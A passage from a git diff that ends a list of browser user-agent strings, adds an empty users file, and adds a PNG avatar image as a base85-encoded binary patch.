WOW64; Trident/7.0; yie8; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.4.3; en-gb; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; FunWebProducts; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2505.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSSEM; rv:11.0) like Gecko +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; WebView/1.0) +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SPH-L720 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; yie9; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSAWA Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (compatible; Windows NT 6.1; Catchpoint) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (Windows NT 6.0; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.4; Z970 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 +Mozilla/5.0 (X11; CrOS armv7l 6812.88.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.153 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; ) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MASAJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; 360SE) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E; MS-RTC LM 8) +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G925T Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6457.107.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4.17.9 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 +Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0 DejaClick/2.5.0.11 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.154 Safari/537.36 LBBROWSER +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Linux; Android 4.4.3; KFARWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/534.34 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; MAAU; NP08; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; LG-V410 Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/5.0 (X11; CrOS x86_64 6946.70.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (iPod touch; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 IceDragon/38.0.5 Firefox/38.0.5 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; managedpc; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-ca; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.2.2; Le Pan TC802A Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/6.0.51363 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 1520) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_6 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B651 Safari/9537.53 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.87 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; PRU_IE; rv:11.0) like Gecko +Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 [FBAN/FBIOS;FBAV/38.0.0.6.79;FBBV/14316658;FBDV/iPad4,1;FBMD/iPad;FBSN/iPhone OS;FBSV/8.4.1;FBSS/2; FBCR/;FBID/tablet;FBLC/en_US;FBOP/1] +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP02; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (X11; CrOS x86_64 6946.63.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.4; Nexus 7 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.2.2; QMV7B Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (compatible; MSIE 10.0; AOL 9.7; AOLBuild 4343.1028; Windows NT 6.1; WOW64; Trident/7.0) +Mozilla/5.0 (Linux; U; Android 4.0.3; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B466 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; Active Content Browser) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; WebView/1.0) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 +Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/50.0.125 Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900T Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H143 Safari/600.1.4 \ No newline at end of file diff --git a/data/users.txt b/data/users.txt new file mode 100644 index 0000000..e69de29 diff --git a/utilities/Avatars/GANG.png b/utilities/Avatars/GANG.png new file mode 100644 index 0000000000000000000000000000000000000000..a0bce8775908fb11b75ee0d35b3e852765981906 GIT binary patch literal 299755 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 